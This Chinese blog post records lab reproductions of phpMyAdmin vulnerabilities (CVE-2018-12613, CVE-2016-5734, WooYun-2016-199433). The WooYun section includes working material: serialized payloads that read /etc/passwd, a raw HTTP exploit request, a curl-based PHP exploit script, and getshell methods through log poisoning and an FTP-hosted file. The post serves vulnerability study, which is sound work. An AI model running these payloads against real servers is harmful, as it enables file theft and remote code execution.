本篇博客主要记录了Vulhub上phpmyadmin漏洞的相关内容!

CVE-2018-12613

漏洞简介

已登录的攻击者可以利用此漏洞包含任意文件来读取内容,进一步可以包含session来getshell

影响范围

phpmyadmin版本:4.8.0和4.8.1受到影响

漏洞复现

复现过程:https://www.moonback.xyz/2020/01/12/buuctf%E5%88%B7%E9%A2%98-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%AF%87/#CVE-2018-12613复现

CVE-2016-5734

漏洞简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此已登录的攻击者便可构造一个任意代码执行漏洞。

影响范围

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

漏洞复现

exp(python2)地址:https://www.exploit-db.com/exploits/40185

这里下载的是4.4.15.6版本,历史下载版本:https://www.phpmyadmin.net/files/

tbl_find_replace.php的24行中,将POST的findreplaceWwith传入到了$table_searchgetReplacePreview方法中

$table_searchPMA_TableSearch对象实例化的结果,而PMA_TableSearchlibraries/TableSearch.class.php中进行了定义,我们定位到libraries/TableSearch.class.php的1430行

getReplacePreview方法中,由于exp中设定了$useRegex的值,所以参数继续传递到_getRegexReplaceRows方法中,定位到1388行

在1408~1413行当中,preg_replace("/" . $find . "/", $replaceWith, $row[0]);很经典地还原了55856 Bug的场景,exp中通过 "find": "0/e\0","replaceWith": payload,的POST提交,空字节截断并传入e修饰符进而执行我们的payload,也将替换的结果进行了回传,最终的复现如下:

WooYun-2016-199433

漏洞简介

phpmyadmin 2.x版本中存在一处反序列化漏洞,该漏洞无需认证登陆,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

漏洞范围

phpmyadmin:2.X(具体版本不清楚,测试用的是2.8.0.4)

漏洞复现

scripts/setup.php中,存在输入变量configuration,该变量会被unserialize函数进行反序列化操作:

当通过该输入点传入一个序列化字符串的时候,会经反序列化出来一个对象。在这个对象反序列化的过程中,会自动触发某些魔法函数。

scripts/setup.php通过require_once函数引入了librarise/common.lib.php文件

librarise/common.lib.php又引入了librarise/Config.class.php

librarise/Config.class.php中存在魔法函数__wakeup,该魔法函数在对象被反序列化之后立即被触发调用:

可以看到,其内在满足条件后,会调用load()函数。继续跟踪load()函数:

当检测到file_get_contents被定义,则通过eval函数执行读入的字符串;如果没有file_get_contents函数,则通过file读入文件,同时利用implode函数把文件内容利用\n拼接,再执行eval函数。

整体思路:php

1
setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();

接下来就是回顾跟踪需要满足的字段和构造特定的序列化数据:

在输入点位置setup.php中,需要具备2个传参字段action和configuration,同时创建了$PMA_Config = new PMA_Config();

而在控制点的load函数中,则只需要传入形参source和对应的特定数据即可。

1
2
3
4
5
6
7
<?php
class PMA_Config
{
public $source = '/etc/passwd';
}
$a = new PMA_Config();
echo serialize($a);

我们就可以读文件了

1
2
3
4
5
6
7
8
9
10
11
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

还有个更简单的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class PMA_Config
{
public $source;
}
$t = new PMA_Config();
$t -> source = $_GET['file'];
$str = serialize($t);
$url = $_GET['url'];
$data = "configuration=".$str."&action=test";
echo $data;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
echo curl_exec($ch);
?>

Getshell

  • 利用方式一

但是经过分析这个漏洞是不能读取php文件的,因为有了eval(),相当于任意文件包含了,不过另一方面这也是有好处的,如果能写入文件,文件中包含一个一句话就可以直接getshell了。作者给的方式是用error log。

根据作者的方法,使用默认环境,才发现有点鸡肋,比如,在ubuntu下,一般是不允许用root权限运行,实际测试中,我们是无法读取access.log的,所以getshell就比较困难。在windows下,由于几乎所有的浏览器和python模块都会很“自觉地”将特殊字符编码进行转换”,getshell就更困难了,所以只能用socket去构造shell。

Access log中就出现了shell了。

再用任意文件包含漏洞去包含,就可以拿到shell了。

  • 利用方式二

exp修改为如下:

1
2
3
4
5
6
7
<?php
class PMA_Config
{
public $source = 'ftp://admin:admin@127.0.0.1/phpinfo.txt';
}
$a = new PMA_Config();
echo serialize($a);

通过FTP直接远程利用获取shell

前提是看allow_url_fopen(默认是开启的)

参考:

https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/

https://rj45mp.github.io/phpMyAdmin-WooYun-2016-199433/

http://www.polaris-lab.com/index.php/archives/66/

评论